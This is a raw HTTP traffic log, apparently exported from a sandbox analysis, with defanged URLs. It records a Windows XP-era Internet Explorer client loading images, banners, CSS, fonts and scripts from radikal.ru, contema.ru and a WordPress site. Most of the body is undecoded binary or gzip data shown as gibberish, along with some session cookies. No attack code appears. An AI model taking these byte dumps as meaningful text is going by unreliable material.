
Server: Microsoft-IIS/7.0

X-Powered-By: ASP.NET

Set-Cookie: __RADVUID=0d81767bc94b45ec; expires=Mon, 16-Sep-2030 21:04:11 GMT; path=/; domain=.radikal.ru

Date: Thu, 17 Sep 2015 03:04:10 GMT

Connection: close

Content-Length: 153761

.PNG........IHDR................x....sRGB.........gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....IDATx^...x\..%.....$.."..#...A. .0...9..)R..%J.r.Y..%..l.m[.v..t..tpO......y......u.n.....J.%.;.M...p.....{..s...g..|..............a..!aa.C.....BF...._...7...?..u,<<......zu......N.aa!.........Xa....>........q.N..i.W.......n./Q/>'....3.?7.D.g....-Z.`. .9B...R......7.....@....8~._...uo.\............!..._......s...|.....3....~.__._..tC........9...|.>b.F....-.........3....c.......o.QQ.X.~=::;Q]Sm.qbAfV.........9..[.o5...FeU...X......a.Fs^l.x._..3:.QPX.. 1)...w........Z..N..o.W..U.Wc..}..s.v.....x..6..{....8......1....U..qo..u...u.>z.....\...;d.P.M....o......a.3:..~..>.=..4... DD.......m.s-CB#0(b..c. ?v4B..}.|.j...2h0...q].Z.OH.k..X..i..u....0..}.......e=.....s>..}...o..[...w......oG.}$...M:.w.z.k..].....X.......>u..F.FRr.y.zn.....g.U.e..z.....;{....{..O.6.....................>.............E..B...j.:..s.x...=....2w..[...1..}x..*.s.k.Z...O?.4?....1..=.(.w/..!C...>.w....,\..................w...............=....|..'..y.^~.e......g..l/\..'.{......;o...Ax...q..Y<...x........a.yj3~...p..A<..sx...p..U..3..M.......ZLnl.%c........c......4.gd..tZ[.....u.....0.>.-.....8.l.........5..EE.Y4..mLd..t.bbc.;~..8......7.W.......& ;'.|3-.-f..i...,.....8}...<...G....Q8U<.w.....Q..>............0L..G..pD..`7&.9...(!..."P96......w.o..ps...=l.....b..--|^...T.ljzV}...g...u....................N..i_............w.o.)\.........AD.C...S}......N......;(c?..u..s.......a.$...Q.....^u?..

<<< skipped >>>

GET /img/ilogo3.png HTTP/1.1

Accept: */*

Referer: hXXp://acg.contema.ru/getbanner.ashx?cid=5199&size=3

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: css.contema.ru

Connection: Keep-Alive

Cookie: contemauid=11883737594766; contema_info=psISDYwYkaiUd5b7753qGwOSVddFOlV6

HTTP/1.1 200 OK

Cache-Control: no-cache

Content-Type: image/png

Last-Modified: Fri, 27 Mar 2015 21:09:41 GMT

Accept-Ranges: bytes

ETag: "ce906357d268d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Thu, 17 Sep 2015 03:04:06 GMT

Content-Length: 3675

.PNG........IHDR...U.........^.Pn....tEXtSoftware.Adobe ImageReadyq.e<...fiTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:BF97E4AC176CE411AF95C86A9B672A8C" xmpMM:DocumentID="xmp.did:59319B65982E11E48DC7D04817E11D40" xmpMM:InstanceID="xmp.iid:59319B64982E11E48DC7D04817E11D40" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:BF97E4AC176CE411AF95C86A9B672A8C" stRef:documentID="xmp.did:BF97E4AC176CE411AF95C86A9B672A8C"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>T/<.....IDATx..Xkl...~..?.c'v.$N.@.dM..i.#ZVh.e.....Z..M.Q..@ ..i...!D.....`b...:.U...M...ZBJ...i..V.q.......8....!m.v*.|.=..<.s...@)......7...C.Qbxl......EQ.5k..^.....A.\c..)...&.........}.-- .!hr(d.b....[Vy...'.b.........7]k..........y.c.%.M..###m.~.!..<...SJ....W./..Tg.Z....,.H..P..........9hE.ib..qy.`lq7..a3hxy......(drh.gQcP....L.|,.X{_BD.f.-e.....`=VV....|.1...k0.Q..t...|.|.W....I2...r...p..d.,...4...j.......d..h ..K....0._...u..P.. Qv.".....6./l.......<\...~;....mu.<.E...f..'.K5......1...4T. .Q..P.......

<<< skipped >>>

GET /img/ilogo3.png HTTP/1.1

Accept: */*

Referer: hXXp://acg.contema.ru/getbanner.ashx?cid=5199&size=3

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: css.contema.ru

Connection: Keep-Alive

Cookie: contemauid=11883737594766; contema_info=psISDYwYkaiUd5b7753qGwOSVddFOlV6

HTTP/1.1 200 OK

Cache-Control: no-cache

Content-Type: image/png

Last-Modified: Fri, 27 Mar 2015 21:09:41 GMT

Accept-Ranges: bytes

ETag: "ce906357d268d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Thu, 17 Sep 2015 03:04:06 GMT

Content-Length: 3675

<<< skipped >>>

GET /i309/1508/6a/58a5f3409156.png HTTP/1.1

Accept: */*

Referer: hXXp://gamest0rage.ru/index.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: s009.radikal.ru

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: image/png

Last-Modified: Sun, 16 Aug 2015 03:31:38 GMT

Accept-Ranges: bytes

ETag: "86b739fd4d7d01:0"

Server: Microsoft-IIS/7.0

X-Powered-By: ASP.NET

Set-Cookie: __RADVUID=b4365b2c4a6dfa80; expires=Mon, 16-Sep-2030 21:04:14 GMT; path=/; domain=.radikal.ru

Date: Thu, 17 Sep 2015 03:04:13 GMT

Connection: close

Content-Length: 369396

.PNG........IHDR.......t......f.R....sRGB.........gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....IDATx^....g.u.............ffV3...V...,Y.d.-Y....v..q.8...f23.wso..H2Y....u...Z.....>.>:.S...{W.ZU..^Xk].c....?.w....^.x.....O................^ff.].~.k..._.........6.~.}..W.....o%.W^y......?..eW\q.l........r.=........^u..p]..l...P..!.s8.v.77.0.....9..5....."......\y.U...y.. @.....c...\.8=..l....0g..9..G.3..>.....sx~a..?.K...9..W....._.._f.DX.W\.....s..%.....EX...u.......e.........;v<s...Zg....B...._.TkZ.................6j.q.k;.q.UW.{....uX.. <...c.]..8..wn........*.>.N.....}.^.V....._....}..z.}...#x.Yi..kX.....#..`.....\xQ..L5..F.~..;..C....h\......X..S,..1..W.G.u....Zs.......|.}/.F..X5....1.o.........&.....~....kn.}...g..a.um.....s..9.....sX...t.C}...{.........}.k..K.7<..?..5..?^........an.........'wO8........f....sT......>5..w..J._.....3s.PkR.........zQ.o....h..Wx.c......o.-z...............e...m...?..?\._........r[.t....[~^....[FF. iii.........%[rR2.U......<.T/99.]..~1<..u.,>>....\.m...fa'$.[Jj...e.:.q..pM}.......Y\..G..~.>.?...G..Op......I....9....s......h.|..U.RRR\...~h...Z...>v>........{z......#.9.<...).4...Z..2..['.V.kN..v.effZ.%--.RY.Z.......3..,33..WQ[.v0Y..VX.......q.....h.. .....)..4...{*kS0C?nl..G.=.....;..s.....U..g.,...y...{j......Jvv.l?YY...~VV&u.....\.....OOO....y..z...n.)...6i.....|........<..p.o....Y|22..........)||..K.\...Ec...q....&......S.....u..).....[......e..s....k'<..N../.Y.3.u<..sv....." ))1}. ....jjj.........Jee..W\

<<< skipped >>>

GET /css?family=Open Sans:400,400italic,600,600italic,700,700italic,300,300italic&ver=4.1.8 HTTP/1.1

Accept: */*

Referer: hXXp://mkra.ru/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: fonts.googleapis.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: text/css

Access-Control-Allow-Origin: *

Timing-Allow-Origin: *

Expires: Thu, 17 Sep 2015 03:04:07 GMT

Date: Thu, 17 Sep 2015 03:04:07 GMT

Cache-Control: private, max-age=86400

Content-Length: 186

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

@font-face {. font-family: 'Open Sans';. font-style: normal;. font-weight: 400;. src: url(hXXp://fonts.gstatic.com/s/opensans/v13/cJZKeOuBrn4kERxqtaUH3fY6323mHUZFJMgTvxaG2iE.eot);.}.HTTP/1.1 200 OK..Content-Type: text/css..Access-Control-Allow-Origin: *..Timing-Allow-Origin: *..Expires: Thu, 17 Sep 2015 03:04:07 GMT..Date: Thu, 17 Sep 2015 03:04:07 GMT..Cache-Control: private, max-age=86400..Content-Length: 186..X-Content-Type-Options: nosniff..X-Frame-Options: SAMEORIGIN..X-XSS-Protection: 1; mode=block..Server: GSE..@font-face {. font-family: 'Open Sans';. font-style: normal;. font-weight: 400;. src: url(hXXp://fonts.gstatic.com/s/opensans/v13/cJZKeOuBrn4kERxqtaUH3fY6323mHUZFJMgTvxaG2iE.eot);.}...

GET / HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: mkra.ru

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:06 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

X-Powered-By: PHP/5.3.28

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

X-Pingback: hXXp://mkra.ru/xmlrpc.php

Set-Cookie: PHPSESSID=5b4db1e2b212aadf9306a998e9cd9604; path=/

X-Powered-By: PleskLin

Set-Cookie: uid_zxcv=258cc02055fa2da69df618df030d1502; expires=Thu, 31-Dec-37 23:55:55 GMT; path=/

Content-Encoding: gzip

700a...............v.....;X...B.Qr.A..LY.Qd....aYJ'..,..$(...6.J....DR.[.h.r.#K..8..t@..A..o.....S{......I...N'"..zk...g?.........y..Z(-fO.S........W..z...P.=..W.#..r.N..s.j6.....r...E.I...V..._.....o.q..i...&z.0.O...Z......-...N..O.......?..i..>w.,,.....&.....\H.s.o6..@...S......B!=.j`.TZ...^........,....t.4.....s..T"96.................nh1....0N..........rI.Ow...t)P..A...........<..$.,..]...,......N.\....N..u..8....2.L...g.l.Trp1.0...h^/...|..........(......S.....l.\~q)(e.....8.*=w)=8.P..Q%.B..y..[Hg.^ d..e.:?-....uor.......M....KC......s..$.J...)e..........x.Y.q..W..m...8..........?.Q......m .... -....a...l>.......f.C......x]\H.K......a...i3.g.U6?.g2.......]..f?...>\...f.....q.O..8...LN..K....V..fTj(541.T3W......Yu1_.I.J*?........ZF.*=.^M.3.r.:99289..-..[..tq..Y....LI..._..m.W/F.........v.]m?o...v.../[. ....j...........vm.Z.....z. }.J.0Wt....~?m... zO...n...f.........m.&...{..n...D<. < |...*|]....be.v.....W........~W............~.F.X......_..../.e...G.._.&[.....[..=k.!....on..dF.....;.DN.....N.v..%-..N.N."..9.......].'..{q8.........%....lkA.....RZ.N...........S.v...f...qc.l...Fx....../.O...4W..".zf>..P...M.w2(......7t.z_. =G;._\.[...... .N.....s..`9[z......E'..............`)S.....:3.,f.WO.......A......D...9...R.gB.=...;.L.;..;#........#.'/...F..C.'hrO..<...s.....mN..h.e-..3.....K.g33.$....5=..0...H.30.dbhlh......h.{$#....#."..xpEw..>..B.......q.[...>v....O.._{?....'T.0.5.Ln6..........r.p...z.{.J..?q.....w._.\*hi8....NS/...0(.c...e.;...4........s..WL74....d.....2....t.]...R....VK.

<<< skipped >>>

GET /wp-content/themes/mesocolumn/style.css HTTP/1.1

Accept: */*

Referer: hXXp://mkra.ru/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: mkra.ru

Connection: Keep-Alive

Cookie: PHPSESSID=5b4db1e2b212aadf9306a998e9cd9604; uid_zxcv=258cc02055fa2da69df618df030d1502

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:07 GMT

Content-Type: text/css

Last-Modified: Tue, 01 Sep 2015 11:09:06 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

ETag: W/"55e58752-1231a"

X-Powered-By: PleskLin

Content-Encoding: gzip

39e4.............}is.H..g9...F.m...y.......x.3.}......H."F.A..d.B..e.}d..l...gY6.TeeUe.UYY/.}...Uv........!..7.zw.Q.................E...i.......E...YU%5..^.o1.._<..6..e...b#..7,.X......<e.f........ ....o...1.....`.n.-....-.w.`..~-j ......uV.3....*v.. ..f._.u.-.......uvY....|.sV.....`...wEq...........^gs.I..........*...u1.......b}..Y._B?....M.|..y...&..f..*c0@Wu..._R(P.Xu...l.*6Y........Q|E.^m.e./..T..?.........i....W.zU....|..3...V......?.R..........6Y......:.3.N.. .[x\.`..Ey.b-.U/...D~.oW[ ....`3.BN5....K..-.A.U.^.Y......N.|.....\g.p$..|Q...U.....-..(...[g.......:...gYL~.......m..e...2[$.uz.U..n..m$uv.]..#.bRpb.X... .4.....tSAIx........B....#...T.Q...........a./.?{.`?..........*.\f....... ......x.? .|s..9t2E..:-.`9,.n...I..X.E...c.....`.ma...I6...N..W....7...X..g.}{W..)x.A...5...uO....!.Y.}Hp.............N.$........k@s.V..xOa:r....I..."[.....p.P1.^.9..d....X...,.,.4..m..;.....K"l\..I.P ..........x.*n..56_...7E......J..m...4...C..y.?.%....Ib...M..,.9...1`...*.....a..r,U...`..c;.R....Ep.........2HM....@..j.9.7y.S.D.....|..(7.O.oa..h.B#...b...,.. .......}; ....Ga..]B......".p.>@....;...\).X..b... .YV..TY...... =..uV.D.......$...D.@O...y-....?..~.~|.T....W.}..".."X..pE...Y..F.C......CZ.e>....x.U}.......1N..5>guZ....eq..i..........`8K.3[...u.r6r.e.%...w9L/..b)..(.:.89....p.'9B................e..M.....V8.)0..D..:..U^.j.U.'b..f.q.._..$......z...s.e`.7, K..Y......]`..:G.<B.....mp.].....F."C\...r.U.^.d.6....V..........I.$u........D{[.s[.......f.8.%.GH..x....A7..|..a..|..s.BN.....r...W...'Y)......l.q..

<<< skipped >>>

GET /wp-content/themes/mesocolumn/lib/scripts/tabber/tabber.css?ver=10.5.6 HTTP/1.1

Accept: */*

Referer: hXXp://mkra.ru/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: mkra.ru

Connection: Keep-Alive

Cookie: PHPSESSID=5b4db1e2b212aadf9306a998e9cd9604; uid_zxcv=258cc02055fa2da69df618df030d1502

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:07 GMT

Content-Type: text/css

Last-Modified: Fri, 21 Aug 2015 20:31:14 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

ETag: W/"55d78a92-bdf"

X-Powered-By: PleskLin

Content-Encoding: gzip

343.............V.n.0.}._1U.i.*)a..!.C.M.>n....M....8....;.........f.9s|f<-C..iw....X8.xg......;..P......R.q...@3A.......2NYH4.NX....rO.8..._..../`.$..L.@*..........I.A.........G.e> .\...\.,a.\.....n.N.....{.......T.y. s....\..!d..E.....tL".<.........#..m.O....5.....!G.x....P..p..$.B...~C...u.8Vju.U\.X......=Z............8...E.4e...b....K>J.....9J..@......l#.:.<<;....,...Tj........"3h(xiXfaa[....ji>L....T..VJ.u1.=.v....bKj}....J..T...F9.I.1.j,..).p.[w.O..vS....,....YB..Z....n....(...(2m.Z...r....'.....1.....S.....-.....<T.n.5lf\........H.....!R.D.E./AY.4)8-!/i....@..7............DM.>...........z=|w......C.O..B;..s..iPH...6ny>.....v.~.......K..F.-.ei,*c#Sw.......4J........h0..V....j.`....E..J..Q..|[;....F.6...V.J...e...^W._...n..D.d...S.&hF!..b..;..#}....t....`FF..0.qf]..oy[j..<..f...P$K4..^4.d............}.."......dl....1.........0......

GET /wp-content/themes/mesocolumn/lib/scripts/fontawesome/css/font-awesome-ie7.css?ver=10.5.6 HTTP/1.1

Accept: */*

Referer: hXXp://mkra.ru/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: mkra.ru

Connection: Keep-Alive

Cookie: PHPSESSID=5b4db1e2b212aadf9306a998e9cd9604; uid_zxcv=258cc02055fa2da69df618df030d1502

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:07 GMT

Content-Type: text/css

Last-Modified: Fri, 21 Aug 2015 20:31:21 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

ETag: W/"55d78a99-9396"

X-Powered-By: PleskLin

Content-Encoding: gzip

cb8.............].......W.&.8..u5%J...>.d...&U p)....H.......n[..&Y..n..9$.....;.}.r*..k..a../.!..D.I....d.......{..)cl{<............W^?... a.Z..r..~h.1N>...].........|...T?.....?}....._#.....@z.......@]y..o...Zo......:..O......[.`....]ybg[Y.b......F.]D..MGs...<..[.C..I7:.rR.?_..........y.....k....]..2...]....<r..........C.....v.0?../..{_....1...H.[....P.....`.........w.........._.`.V..........OO.............L......t..__.K. .w2M..$.\...;P.s..A.&.6._I...L..%......K...........-K$8 ..Z..n{..,/...../..4..:...~.' .2.%..#s.30.....`.;.(.....P.c........;...%F.!..i.2p".o.;*.FF..`3p!..f....^.&8....[7.....D.$.g2vlx.%.-.....I...J...u..tY.(.....A......D...i..`..p....`.....d...r..X.y.@....0..5.....F..}.[......X..;&.X.....i).`.KE.....L....@.L...R.M...@%.....R-[.A.j$(".........p..3r.....r....cry.^..L.<.x..Z....?.1..Q&....2.%.$EJ...6.......b..6.8.b. ...4.....8.s...RZf...5..4..:..10]..}...2 .9..U..}.u..`...7..~..=...`..X*8..kE]89.m].5...d...y....M..>=..t......R..%....*.P0..Rwj....q.=3......=..,.>..>..7 ..-.E3..v........v.D..).9n..?.A0..h7.....= .s.x.G..2.(S..z..d9`.Zy:...^....=u....M/aou4.|.,.....`.U...m.v.)..J....Z...S.r.v.IBcr...c.c..< .Lp.....13..v..o..d.{>&x.8=&:.d..*......M..v.Q..G;..G..L.'.(....k1.....3...|'.q..@;OM..p...j.VV..).(Ql...a.r..j.K..!..xf.^.c.O....T`d...P.wK...........{.f..p.......y.in.m........(.H.......[G;..,..>./...L...O .;.{0.......m..Y|.1.K.Y.....)...e...$...>......6......C..`_d=6e?y.r../.Xf....'w.j..A...\.._w.........(..'1.....ir....$....i...r..a.H<...8...... ..a.

<<< skipped >>>

GET /wp-content/themes/mesocolumn/lib/scripts/fontawesome/font/fontawesome-webfont.eot? HTTP/1.1

Accept: */*

Referer: hXXp://mkra.ru/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: mkra.ru

Connection: Keep-Alive

Cookie: PHPSESSID=5b4db1e2b212aadf9306a998e9cd9604; uid_zxcv=258cc02055fa2da69df618df030d1502

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:07 GMT

Content-Type: application/vnd.ms-fontobject

Content-Length: 37405

Last-Modified: Fri, 21 Aug 2015 20:31:23 GMT

Connection: keep-alive

ETag: "55d78a9b-921d"

X-Powered-By: PleskLin

Accept-Ranges: bytes

....7.............................LP........................B5f.....................F.o.n.t.A.w.e.s.o.m.e.....R.e.g.u.l.a.r...$.V.e.r.s.i.o.n. .3...2...0. .2.0.1.3...&.F.o.n.t.A.w.e.s.o.m.e. .R.e.g.u.l.a.r.....BSGP....................../..3.{........Y.D.M.F..x...>..........)[..1..H....-A)F....1..../.d..U.'.&a./....s.%.%.<.........O%p.V. "..u...Kupp^c.RB`\.}T..W. ...............z..5.*....LzSq>...?..T....3.5(...}............aKP.'.........2..45..$[GVzi...<.QA..2# ..%a^.V.P...=.G..,.....'........*........S.k....6>.\......:...^..C....=P.O*...-<....@a.(0...L......".gmL.%...iC.........a.A^.........h..Q%../."}..........J..D..pb('.0E1..........hQ...Q.J.......Dp7.Hk..3L4.K.4d...S..*.?...e.[!....=8.g...F"bT.....*.?.G.W..0..Q..'.^xn.?..[....(.."...w.Z.hMz".z..h.,j.....D. ....&%X..5....g..".`h....l..78.K'.......m....F..............{b|.......-4.H..f.P[...1..<.... ...-w..E..:..h.K.u...OTRT;.)/.-....9..L2 ..%3LU.2.....8....Y.%..)G.....5.u................:Ab.65W{..D.!d.N....z.K...E..<..U.E.qU...*5Z-...}Sq..*..(Y..!.`.;0..AGCF|..y..)5...@.C...4XGZ`-.....a6.................m|>.d..;-xP...KL.H .*K.G..%E.F9B..H.i.0z.u..1Tp..`.F.U.....cc U....^........4x..(..F4x....X.......z(R6L..V..?.S...G..c."W/B]......O.5.!......u._w...Q..C\.U..`...v=...M..H...S..7.]\..b.B....-.A.j]...zx.W .Wp_.5MQ..Tw.".A..q..[M...<..c.....v..C..G.&aYG....%.d2....$.t.tB&...D...{.0RPu......0.?,...j..:..Q..Q."..0...87F.........A......]...H..P..<.!..o.n..'|..3.r.K...>]..R.....n. (..Zw)........up[2.b.g...8...@W)..k...Y.8..L.<'s.

<<< skipped >>>

GET /wp-content/plugins/generalstats/vendor/jshashtable/hashtable.js?ver=3.0 HTTP/1.1

Accept: */*

Referer: hXXp://mkra.ru/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: mkra.ru

Connection: Keep-Alive

Cookie: PHPSESSID=5b4db1e2b212aadf9306a998e9cd9604; uid_zxcv=258cc02055fa2da69df618df030d1502

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:08 GMT

Content-Type: text/javascript

Last-Modified: Sun, 23 Aug 2015 16:36:37 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

ETag: W/"55d9f695-1175"

X-Powered-By: PleskLin

Content-Encoding: gzip

782.............W[s...~?3.? |..."K.Cg.A}TG.......NG....$.........?. .......H....o......./...'..P. _...[..SA.'..'>O..,..,.;.,.R ..p..........nE...T.T.D..."...u.....4. ..g..HE.V.M..yJ.Dgb."Nlkm._].........A....W_................;. w.=....... &..C...B. ...1..@~)......ZfeE....!.d<....z...`HB.... .;..]..?..-) .v s.......L,.DCr%W. {i..Qe...GeD?Z...4....%I.....V..C=.fsUU:..uv3..O..-...>.T.91.k!...x <.h. R...*.7F....}o..bS....s#........vr..B....=.H0...< ?M..9uV~.=.|....>..qr.0....Grs..~.0.....dr.......D@........."e.X.)......%.<..\...S..o...I..A.L.....@jUr6.;Y.@~..s.T|..!7...m.\..{2.............A...ZN...3....i..p.W...uhX.".h%dP.."4Q.#....-U.O.....T.B#.{._..i.!.Q....X2..Z....... ...j..]....$.....b...FW..f.N.=.u..4.a....{...L..8.<A.a.q..S."A_Ec..41{.......u*...x-.X.....c TP.=c7/.Kf)~..x4R.l.,..j5.W...#.x^1f0.x..v..K{.P.n.R.k.....kj.v.(T..d....[*..<....y3.\R.......C.Q..dJ..>..>..D.j8v...3.....ya@..\. .Q ..?....o...P...........}..'.f.$ _.e......%....#V.%......V...--.0.B-.....yr....._.......B.H.|.P .Y....p...[q._....X..7J[T3n6.^.H?.[.......uX43A..7..b........1bIY#L......Y..H...uV..T.n?o..t.-.........."..1l.J.#j.C..#$6..m b....B6.i..44.!J....c...B.b.~..y.)...t. ..0..\.%........g.c\V....p53.A..9n<75g...M....Cx}.........m]...G]..yZto..Z=o..........Q..u.V~R.M{:y{.1............ /.t.v.p:..#.z.4.].....l>C.cI.?.!g.0.. *1=al.m........r..............p..f.z......LW6N.]].E.7d .....>a...l.....#h-.....B..q..\.%...Y..i.m...'....x,..xs..X.[.......].\..o.....>.n`...l3...21..pnX..U$x....?~..m.vW.w/

<<< skipped >>>

GET /wp-content/uploads/2015/09/1e214f20f9cca2943fdcb3954f1e14a8.jpg HTTP/1.1

Accept: */*

Referer: hXXp://mkra.ru/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: mkra.ru

Connection: Keep-Alive

Cookie: PHPSESSID=5b4db1e2b212aadf9306a998e9cd9604; uid_zxcv=258cc02055fa2da69df618df030d1502

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:08 GMT

Content-Type: image/jpeg

Content-Length: 11843

Last-Modified: Wed, 16 Sep 2015 14:55:32 GMT

Connection: keep-alive

ETag: "55f982e4-2e43"

X-Powered-By: PleskLin

Accept-Ranges: bytes

......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 80....C.....................................%...#... , #&')*)..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..X..x..'....z...4.Y|>...Q.a.=.#...pT..W7...gM..O....|=}ws6.8.p....w.o..:..f........@...t.kk.."...5...$.s.I...Wr...t.........l{a...W.F@F..C.(...o........J......LM...j.~"..)A..u...3......u.o.T..X...i....&........`..~|..^...4....k.#.Ms...t.A...\..."9R.,.E..e5..9Ta.Xt..].r....?...Epb.--&...>Ae=..........2|A.'....\..`..s<.....R...........[....u..\isk.a........sJ...f'.VE...M.Q}d.?.H.....Y........o.-d|Csn...A.4...7B... .......g.{...'...y.1Y...m..!.......`.\I..#<~Uv....H.d..g..z....,#x.u .....G.].._D......i..y.........X.3..=.6..5.#..]...'.....RR..(8n.%.QL. ........Iisc.H...8.........(.....................a...x.K..^).]N.....G.\_....l...i.m=.'..U.......Z.yv.......r.......>..!.:......q.~3...Z..$.Zz0QgG/.....\..=$'.T....?.=....m......8..O.=.Y.fq..B.....JN@....).S..H.)..O.-...!.A.{.Q....4y(q...-.#.....Q........F#.......j....I.# .....p1]c.

<<< skipped >>>

GET /wp-content/uploads/2015/09/ada9a46040f3022a8488c48b974afda0.jpg HTTP/1.1

Accept: */*

Referer: hXXp://mkra.ru/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: mkra.ru

Connection: Keep-Alive

Cookie: PHPSESSID=5b4db1e2b212aadf9306a998e9cd9604; uid_zxcv=258cc02055fa2da69df618df030d1502

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:08 GMT

Content-Type: image/jpeg

Content-Length: 12367

Last-Modified: Wed, 16 Sep 2015 14:55:28 GMT

Connection: keep-alive

ETag: "55f982e0-304f"

X-Powered-By: PleskLin

Accept-Ranges: bytes

......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 80....C.....................................%...#... , #&')*)..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..L...f.I....9.&..F.,..i....E...)7.B.X.....'...F.j,..s.L....r\..z..P^..q.J)...E.u..Sw.u..N.W..%7}&..z,.$..i*=.._.G 